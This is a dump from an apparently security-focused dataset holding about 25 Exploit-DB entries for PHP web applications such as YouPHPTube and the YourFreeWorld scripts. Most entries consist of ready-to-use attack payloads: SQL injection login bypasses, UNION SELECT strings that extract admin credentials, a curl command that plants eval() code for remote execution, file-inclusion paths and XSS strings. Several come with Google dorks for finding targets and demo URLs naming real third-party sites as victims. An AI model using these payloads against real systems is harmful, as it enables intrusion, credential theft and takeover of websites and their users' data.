deardaniel/secdata-raw huggingface dataset:
Exploit-DB #50374
Description: Young Entrepreneur E-Negosyo System 1.0 - SQL Injection Authentication Bypass
Type: webapps
Platform: php
Date: 2021-10-04
Author: Jordan Glover

Exploit:
# Exploit Title: Young Entrepreneur E-Negosyo System 1.0 - SQL Injection Authentication Bypass
# Date: 2021-10-02
# Exploit Author: Jordan Glover
# Vendor Homepage: https://www.sourcecodester.com/php/12684/young-entrepreneur-e-negosyo-system.html
# Software Link: https://www.sourcecodester.com/download-code?nid=12684&title=Young+Entrepreneur+E-Negosyo+System+in+PHP+Free+Source+Code
# Version: v1.0
# Tested on: Windows 10 + XAMPP v3.3.0

Steps-To-Reproduce:
Step 1 Go to the admin panel http://localhost/bsenordering/admin/login.php
Step 2 – Enter the default admin username janobe and enter password test
Step 3 – Click on Sign in and capture the request in the Burp Suite
Step 4 – Change the user_email to janobe' or '1'='1 
Step 5 – Click forward and now you will be logged in as an admin.

POC 

POST /bsenordering/admin/login.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:92.0) Gecko/20100101 Firefox/92.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 40
Origin: http://localhost
Connection: close
Referer: http://localhost/bsenordering/admin/login.php
Cookie: PHPSESSID=him428198e798r23eagi9mapjk
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1

user_email=janobe' or '1'='1&user_pass=test&btnLogin=
Exploit-DB #47294
Description: YouPHPTube 7.2 - 'userCreate.json.php' SQL Injection
Type: webapps
Platform: php
Date: 2019-08-19
Author: Fabian Mosch

Exploit:
# Exploit Title: YouPHPTube < 7.3 SQL Injection
# Google Dork: /
# Date: 19.08.2019
# Exploit Author: Fabian Mosch, r-tec IT Security GmbH
# Vendor Homepage: https://www.youphptube.com/
# Software Link: https://github.com/YouPHPTube/YouPHPTube
# Version: < 7.3
# Tested on: Linux/Windows
# CVE : CVE-2019-14430

The parameters "User" as well as "pass" of the user registration function are vulnerable to SQL injection vulnerabilities. By submitting an HTTP POST request to the URL "/objects/userCreate.json.php" an attacker can access the database and read the hashed credentials of an administrator for example.

Example Request:

POST /objects/userCreate.json.php HTTP/1.1
Host: vulnerablehost.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: */*
Accept-Language: de,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
[SomeHeaders and Cookies]

user=tes'INJECTHERE&pass=test'INJECTHERE &email=test%40example.com&name=test&captcha=xxxxx

Methods for DB-Extraction are:


- Boolean-based blind

- Error-based

- AND/OR time-based blind


The vulnerability was fixed with this commit:
https://github.com/YouPHPTube/YouPHPTube/commit/891843d547f7db5639925a67b7f2fd66721f703a
Exploit-DB #47326
Description: YouPHPTube 7.4 - Remote Code Execution
Type: webapps
Platform: php
Date: 2019-08-30
Author: Damian Ebelties

Exploit:
# Exploit Title: YouPHPTube <= 7.4 - Remote Code Execution
# Google Dork: intext:"Powered by YouPHPTube"
# Date: 29 August 2019
# Exploit Author: Damian Ebelties (https://zerodays.lol/)
# Vendor Homepage: https://www.youphptube.com/
# Version: <= 7.4
# Tested on: Ubuntu 18.04.1

YouPHPTube before 7.5 does no checks at all if you wanna generate a new
config file. We can use this to generate our own config file with our
own (malicious) code.

All you need is a MySQL server that allows remote connections.

Fixed by the following commit:

    https://github.com/YouPHPTube/YouPHPTube/commit/b32b410c9191c3c5db888514c29d7921f124d883

Proof-of-Concept:

    # Run this command (with your own data replaced)
    # Then visit https://domain.tld/?zerodayslol=phpinfo() for code execution!
    curl -s "https://domain.tld/install/checkConfiguration.php" --data "contactEmail=rce@zerodays.lol&createTables=2&mainLanguage=RCE&salt=';eval(\$_REQUEST['zerodayslol']);echo '&systemAdminPass=zerodays.LOL&systemRootPath=./&webSiteRootURL=<URL>&webSiteTitle=Zerodays.lol&databaseHost=<DB_HOST>&databaseName=<DB_NAME>&databasePass=<DB_PASS>&databasePort=<DB_PORT>&databaseUser=<DB_USER>"
Exploit-DB #51101
Description: YouPHPTube<= 7.8 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2023-03-28
Author: Rafael Pedrero

Exploit:
# Exploit Title: YouPHPTube <= 7.8 - Multiple Vulnerabilities
# Discovery by: Rafael Pedrero
# Discovery Date: 2021-01-31
# Vendor Homepage: https://www.youphptube.com/
# Software Link : https://www.youphptube.com/
# Tested Version: 7.8
# Tested on:  Windows 7, 10 using XAMPP

# Vulnerability Type: LFI + Path Traversal

CVSS v3: 7.5
CVSS vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
CWE: CWE-829, CWE-22

Vulnerability description: YouPHPTube v7.8 allows unauthenticated directory
traversal and Local File Inclusion through the parameter in an
/?lang=PATH+TRAVERSAL+FILE (without php) GET request because of an
include_once in locale/function.php page.

Proof of concept:

To detect: http://localhost/youphptube/index.php?lang=)

An error is generated:

Warning: preg_grep(): Compilation failed: unmatched parentheses at offset 0
in C:\xampp\htdocs\YouPHPTube\locale\function.php on line 47

In function.php page, we can see:

// filter some security here
if (!empty($_GET['lang'])) {
    $_GET['lang'] = str_replace(array("'", '"', """, "&#039;"),
array('', '', '', ''), xss_esc($_GET['lang']));
}

if (empty($_SESSION['language'])) {
    $_SESSION['language'] = $config->getLanguage();
}
if (!empty($_GET['lang'])) {
    $_GET['lang'] = strip_tags($_GET['lang']);
    $_SESSION['language'] = $_GET['lang'];
}
@include_once
"{$global['systemRootPath']}locale/{$_SESSION['language']}.php";


The parameter "lang" can be modified and load a php file in the server.


In Document root: /phpinfo.php with this content:

<?php echo phpinfo(); ?>


To Get phpinfo.php: http://127.0.0.1/youphptube/?lang=../../phpinfo

Note: phpinfo without ".php".

The new Path is:
@include_once "{$global['systemRootPath']}locale/../../phpinfo.php";

And you can see the PHP information into the browser.



# Vulnerability Type: reflected Cross-Site Scripting (XSS)

CVSS v3: 6.5
CVSS vector: 3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
CWE: CWE-79

Vulnerability description: YouPHPTube 7.8 and before, does not sufficiently
encode user-controlled inputs, resulting in a reflected Cross-Site
Scripting (XSS) vulnerability via the
/<YouPHPTube_path_directory>/signup?redirectUri=<XSS>, in redirectUri
parameter.

Proof of concept:

http://localhost/
<YouPHPTube_path_directory>/signup?redirectUri='"()%26%25<ScRipt>alert(1)</ScRipt>
Exploit-DB #33908
Description: Your Articles Directory - Login Option SQL Injection
Type: webapps
Platform: php
Date: 2010-04-29
Author: Sid3^effects

Exploit:
source: https://www.securityfocus.com/bid/39796/info

Article Directory Script is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

The following example data is available :

Inject the following into the login options field.

' or 1=1 or ''='
Exploit-DB #38367
Description: Your Own Classifieds - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2013-03-08
Author: Rafay Baloch

Exploit:
source: https://www.securityfocus.com/bid/58399/info

Your Own Classifieds is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks. 

http://www.example.com/cat-search/for-sales-2/%22%3E%3Cimg%20src=x%20onerror=prompt%280%29;%3E
Exploit-DB #20673
Description: YourArcadeScript 2.4 - 'index.php?id' SQL Injection
Type: webapps
Platform: php
Date: 2012-08-20
Author: DaOne

Exploit:
##########################################

[~] Exploit Title: YourArcadeScript 2.4 SQLi Vulnerability

[~] Version: 2.4

[~] Date: 17/08/2012

[~] Author: DaOne [LCA]

[~] Software Link: http://www.yourarcadescript.com

[~] Google Dork: intext:"Powered by YourArcadeScript 2.4"

##########################################



[#] [ Exploit ]



http://localhost/index.php?act=cat&id=[Error Based Injection]


##########################################

[*] thanks to : All LibyanCA Members (^_^)

##########################################
Exploit-DB #4075
Description: YourFreeScreamer 1.0 - 'serverPath' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-06-17
Author: Crackers_Child

Exploit:
///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
Title    : YourFreeScreamer 1.0 Remote File Ã„Â°nclude

Author   : Crackers_Child

Contact  : cybermilitan@hotmail.com

Bug      : in bodyTemplate.php " <? include ( $serverPath . "includes/form.php" );?> "

Down     : http://www.yfma.com/count/click.php?id=1
Site	 : http://yfma.com/yfs/

Exploit  : http://site.com/script_path/templates/2blue/bodyTemplate.php?serverPath=Sh3ll ?

Note     : [ Aq Mahkemelik Oldk daha ne olsn :) (ci) ] [ cRA 2 Ay YOK sAhalarda]

///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////

# milw0rm.com [2007-06-17]
Exploit-DB #32280
Description: YourFreeWorld Ad-Exchange Script - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2008-08-20
Author: Hussin X

Exploit:
source: https://www.securityfocus.com/bid/30762/info

YourFreeWorld Ad-Exchange Script is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com.com/Script/tr.php?id=-1+union+select+1,2,3,concat(0x3a,Username,0x3a,Password),5,6,7,8,9,10,11,12,13+from+adminsettings--
Exploit-DB #6938
Description: YourFreeWorld Autoresponder Hosting - 'tr.php' SQL Injection
Type: webapps
Platform: php
Date: 2008-11-01
Author: Hussin X

Exploit:
Autoresponder Hosting ( id ) Remote SQL Injection Vulnerability
___________________________________

Author: Hussin X

Home :  www.IQ-TY.com  & www.TrYaG.cc

___________________________________

script    :http://www.yourfreeworld.com/script/autoresponderhosting.php

DorK   : inurl:tr.php?id= Autoresponder

Exploit :
_______

tr.php?id=-1+union+select+1,2,3,concat(0x3a,Username,0x3a,Password),5,6,7,8,9,10,11,12,13+from+adminsettings--


Demo :
_______

http://www.downlinegoldmine.com/autoresponderhosting/tr.php?id=-1+union+select+1,2,3,concat(0x3a,Username,0x3a,Password),5,6,7,8,9,10,11,12,13+from+adminsettings--




Greetz : All my freind

# milw0rm.com [2008-11-01]
Exploit-DB #6936
Description: YourFreeWorld Banner Management - SQL Injection
Type: webapps
Platform: php
Date: 2008-11-01
Author: Hussin X

Exploit:
 Banner Management (id) Remote SQL Injection Vulnerability
___________________________________

Author: Hussin X

Home :  www.IQ-TY.com  & www.TrYaG.cc

___________________________________

script    : http://www.yourfreeworld.com/script/bannermanagementscript.asp

DorK   : :)

Exploit :
_______

tr.php?id=-1+union+select+1,2,3,concat(user(),version(),database()),5,6,7,8,9,10,11,12,13--


Demo :
_______

http://www.downlinegoldmine.com/bannermanagerpro/tr.php?id=-1+union+select+1,2,3,concat(user(),version(),database()),5,6,7,8,9,10,11,12,13--




Greetz : All my freind

# milw0rm.com [2008-11-01]
Exploit-DB #6937
Description: YourFreeWorld Blog Blaster - 'tr.php' SQL Injection
Type: webapps
Platform: php
Date: 2008-11-01
Author: Hussin X

Exploit:
Blog Blaster( id ) Remote SQL Injection Vulnerability
___________________________________

Author: Hussin X

Home :  www.IQ-TY.com  & www.TrYaG.cc

___________________________________

script    : http://www.yourfreeworld.com/script/blogblaster.php

DorK   : :)

Exploit :
_______

tr.php?id=-1+union+select+1,2,3,concat(0x3a,Username,0x3a,Password),5,6,7,8,9,10,11,12,13+from+adminsettings--


Demo :
_______

http://www.downlinegoldmine.com/blogblaster/tr.php?id=-1+union+select+1,2,3,concat(0x3a,Username,0x3a,Password),5,6,7,8,9,10,11,12,13+from+adminsettings--


Admin Login :
_______
/admin/




Greetz : All my freind

# milw0rm.com [2008-11-01]
Exploit-DB #6945
Description: YourFreeWorld Classifieds - 'category' SQL Injection
Type: webapps
Platform: php
Date: 2008-11-01
Author: Hussin X

Exploit:
Classifieds (category) Remote SQL Injection Vulnerability
___________________________________

Author: Hussin X

Home :  www.IQ-TY.com  & www.TrYaG.cc

___________________________________

script    : http://www.yourfreeworld.com/script/classifieds.php

DorK   :  inurl:classifieds/view.php?category=

Exploit :
_______

view.php?category=-2+UNION+SELECT+1,concat(0x3a,Username,0x3a,Password),3+from+adminsettings--



Demo :
_______
http://www.downlinegoldmine.com/classifieds/view.php?category=-2+UNION+SELECT+1,concat(0x3a,Username,0x3a,Password),3+from+adminsettings--






Greetz : All my freind

# milw0rm.com [2008-11-01]
Exploit-DB #6944
Description: YourFreeWorld Classifieds Blaster - SQL Injection
Type: webapps
Platform: php
Date: 2008-11-01
Author: Hussin X

Exploit:
Classifieds Blaster ( id ) Remote SQL Injection Vulnerability
___________________________________

Author: Hussin X

Home :  www.IQ-TY.com  & www.TrYaG.cc

___________________________________

script    : http://www.yourfreeworld.com/script/classifiedsblaster.php

DorK   : :)

Exploit :
_______

tr.php?id=-1+union+select+1,2,3,concat(0x3a,Username,0x3a,Password),5,6,7,8,9,10,11,12,13+from+adminsettings--


Demo :
_______

http://www.downlinegoldmine.com/classifiedsblaster/tr.php?id=-1+union+select+1,2,3,concat(0x3a,Username,0x3a,Password),5,6,7,8,9,10,11,12,13+from+adminsettings--





Greetz : All my freind

# milw0rm.com [2008-11-01]
Exploit-DB #6948
Description: YourFreeWorld Classifieds Hosting - SQL Injection
Type: webapps
Platform: php
Date: 2008-11-01
Author: Hussin X

Exploit:
Classifieds Hosting( id ) Remote SQL Injection Vulnerability
___________________________________

Author: Hussin X

Home :  www.IQ-TY.com  & www.TrYaG.cc

___________________________________

script    : http://www.yourfreeworld.com/script/classifiedshosting.php

DorK   : inurl:tr.php?id= Hosting

Exploit :
_______

tr.php?id=-1+union+select+1,2,3,concat(0x3a,Username,0x3a,Password),5,6,7,8,9,10,11,12,13,14+from+adminsettings--


Demo :
_______

http://www.classyfied-ads.com/tr.php?id=-1+union+select+1,2,3,concat(0x3a,Username,0x3a,Password),5,6,7,8,9,10,11,12,13,14+from+adminsettings--





Greetz : All my freind

# milw0rm.com [2008-11-01]
Exploit-DB #6935
Description: YourFreeWorld Downline Builder - 'tr.php' SQL Injection
Type: webapps
Platform: php
Date: 2008-11-01
Author: Hussin X

Exploit:
Downline Builder( id ) Remote SQL Injection Vulnerability
___________________________________

Author: Hussin X

Home :  www.IQ-TY.com  & www.TrYaG.cc

___________________________________

script    : http://www.yourfreeworld.com/script/downlinebuilder.php

DorK   : inurl:tr.php?id= Downline

Exploit :
_______

tr.php?id=-1+union+select+1,2,3,concat(0x3a,Username,0x3a,Password),5,6,7,8,9,10,11,12,13+from+adminsettings--


Demo :
_______

http://www.downlinegoldmine.com/downlinebuilder/tr.php?id=-1+union+select+1,2,3,concat(0x3a,Username,0x3a,Password),5,6,7,8,9,10,11,12,13+from+adminsettings--





Greetz : All my freind

# milw0rm.com [2008-11-01]
Exploit-DB #32563
Description: YourFreeWorld Downline Builder Pro - 'tr.php' SQL Injection
Type: webapps
Platform: php
Date: 2008-11-02
Author: Hussin X

Exploit:
source: https://www.securityfocus.com/bid/32047/info

Downline Builder Pro is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

http://www.example.com/tr.php?id=-1+union+select+1,2,3,concat_ws(0x3a,user(),version(),database()),5,6,7,8,9,10,11,12,13--
Exploit-DB #6939
Description: YourFreeWorld Forced Matrix Script - SQL Injection
Type: webapps
Platform: php
Date: 2008-11-01
Author: Hussin X

Exploit:
Forced Matrix Script ( id ) Remote SQL Injection Vulnerability
___________________________________

Author: Hussin X

Home :  www.IQ-TY.com  & www.TrYaG.cc

___________________________________

script    : http://www.yourfreeworld.com/script/subscriptionforcedmatrix.php

DorK   : inurl:"tr1.php?id=" Forced Matrix

Exploit :
_______

tr1.php?id=-19+union+select+1,2,3,password,5,6,7,8,9,10+from+adminsettings--




Demo :
_______

http://www.autowebhits.com/subscriptionforcedmatrixt/tr1.php?id=-19+union+select+1,2,3,password,5,6,7,8,9,10+from+adminsettings--




Greetz : All my freind

# milw0rm.com [2008-11-01]
Exploit-DB #6931
Description: YourFreeWorld Programs Rating - SQL Injection
Type: webapps
Platform: php
Date: 2008-11-01
Author: Hussin X

Exploit:
||| Programs Rating (details.php id ) Remote SQL Injection Vulnerability

||    Author: Hussin X

||   Home :  WwW.IQ-TY.CoM

||    email:  darkangel_g85[at]Yahoo[DoT]com


||| script :http://www.yourfreeworld.com/script/rating.php

||| DorK   : *_^


 Exploit
________

www.[target].com/Script/details.php?id=-1+union+select+1,version(),3,user(),0x[PII_REDACTED]6E5F585F5F5761735F68657265,6,7,8,9,10--


 Demo
_________

http://www.downlinegoldmine.com/rating/details.php?id=-1+union+select+1,version(),3,user(),0x[PII_REDACTED]6E5F585F5F5761735F68657265,6,7,8,9,10--




| Greetz : All my freind

# milw0rm.com [2008-11-01]
Exploit-DB #6943
Description: YourFreeWorld Reminder Service - SQL Injection
Type: webapps
Platform: php
Date: 2008-11-01
Author: Hussin X

Exploit:
Reminder Service ( id ) Remote SQL Injection Vulnerability
___________________________________

Author: Hussin X

Home :  www.IQ-TY.com  & www.TrYaG.cc

___________________________________

script    : http://www.yourfreeworld.com/script/reminder.php

DorK   :  inurl:tr.php?id= Reminder Service

Exploit :
_______

tr.php?id=-1+union+select+1,2,3,concat(0x3a,Username,0x3a,Password),5,6,7,8,9,10,11,12,13+from+adminsettings--



Demo :
_______


http://www.downlinegoldmine.com/reminderservice/tr.php?id=-1+union+select+1,2,3,concat(0x3a,Username,0x3a,Password),5,6,7,8,9,10,11,12,13+from+adminsettings--





Greetz : All my freind

# milw0rm.com [2008-11-01]
Exploit-DB #6942
Description: YourFreeWorld Scrolling Text Ads - SQL Injection
Type: webapps
Platform: php
Date: 2008-11-01
Author: Hussin X

Exploit:
Scrolling Text Ads ( id ) Remote SQL Injection Vulnerability
___________________________________

Author: Hussin X

Home :  www.IQ-TY.com  & www.TrYaG.cc

___________________________________

script    : http://www.yourfreeworld.com/script/scrollingads.php

DorK   :  inurl:"tr1.php?id="

Exploit :
_______

tr1.php?id=-19+union+select+1,2,3,4,concat(0x3a,Username,0x3a,Password),6,7,8,9,10,11,12,13,14,15+from+adminsettings--



Demo :
_______


http://www.downlinegoldmine.com/scrollingtextads/tr1.php?id=-19+union+select+1,2,3,4,concat(0x3a,Username,0x3a,Password),6,7,8,9,10,11,12,13,14,15+from+adminsettings--




Greetz : All my freind

# milw0rm.com [2008-11-01]
Exploit-DB #6952
Description: YourFreeWorld Shopping Cart - Blind SQL Injection
Type: webapps
Platform: php
Date: 2008-11-02
Author: Hussin X

Exploit:
Shopping Cart ( index.php c )  Blind SQL Injection Vulnerability
___________________________________

Author: Hussin X

Home :  www.IQ-TY.com  & www.TrYaG.cc

___________________________________

script    :http://www.yourfreeworld.com/script/affiliateshoppingcart.php

Demo :
_______
true & false

http://www.downlinegoldmine.com/shopcart/index.php?c=12+and+substring(@@version,1,1)=4
http://www.downlinegoldmine.com/shopcart/index.php?c=12+and+substring(@@version,1,1)=5




Greetz : All my freind

Im TrYaGi

# milw0rm.com [2008-11-02]
Exploit-DB #6940
Description: YourFreeWorld Short Url & Url Tracker - SQL Injection
Type: webapps
Platform: php
Date: 2008-11-01
Author: Hussin X

Exploit:
Short Url & Url Tracker ( id ) Remote SQL Injection Vulnerability
___________________________________

Author: Hussin X

Home :  www.IQ-TY.com  & www.TrYaG.cc

___________________________________

script    : http://www.yourfreeworld.com/script/shorturl.php

DorK   :  inurl:"tr.php?id=" Short Url & Url Tracker

Exploit :
_______

tr.php?id=-1+union+select+1,2,3,concat(0x3a,Username,0x3a,Password),5,6,7,8,9,10,11,12,13+from+adminsettings--


Demo :
_______


http://www.safelistadtrading.com/shorturl/tr.php?id=-1+union+select+1,2,3,concat(0x3a,Username,0x3a,Password),5,6,7,8,9,10,11,12,13+from+adminsettings--




Greetz : All my freind

# milw0rm.com [2008-11-01]
Exploit-DB #34744
Description: YourFreeWorld Ultra Classifieds - 'listads.php' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2009-07-20
Author: Moudi

Exploit:
source: www.securityfocus.com/bid/43490/info

Ultra Classifieds is prone to multiple cross-site scripting vulnerabilities because the software fails to sufficiently sanitize user-supplied input

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Ultra Classifieds Pro is vulnerable; other versions may also be affected.

http://www.example.com/ultraclassifieds/listads.php?c=69&cn=apartments&sn=1>"><ScRiPt %0A%0D>alert[PII_REDACTED]88)%3B</ScRiPt>
Exploit-DB #34745
Description: YourFreeWorld Ultra Classifieds - 'subclass.php?cname' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-07-20
Author: Moudi

Exploit:
source: www.securityfocus.com/bid/43490/info
 
Ultra Classifieds is prone to multiple cross-site scripting vulnerabilities because the software fails to sufficiently sanitize user-supplied input
 
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
 
Ultra Classifieds Pro is vulnerable; other versions may also be affected.

http://www.example.com/ultraclassifieds/subclass.php?c=18&cname=1<script>alert[PII_REDACTED]99)</script>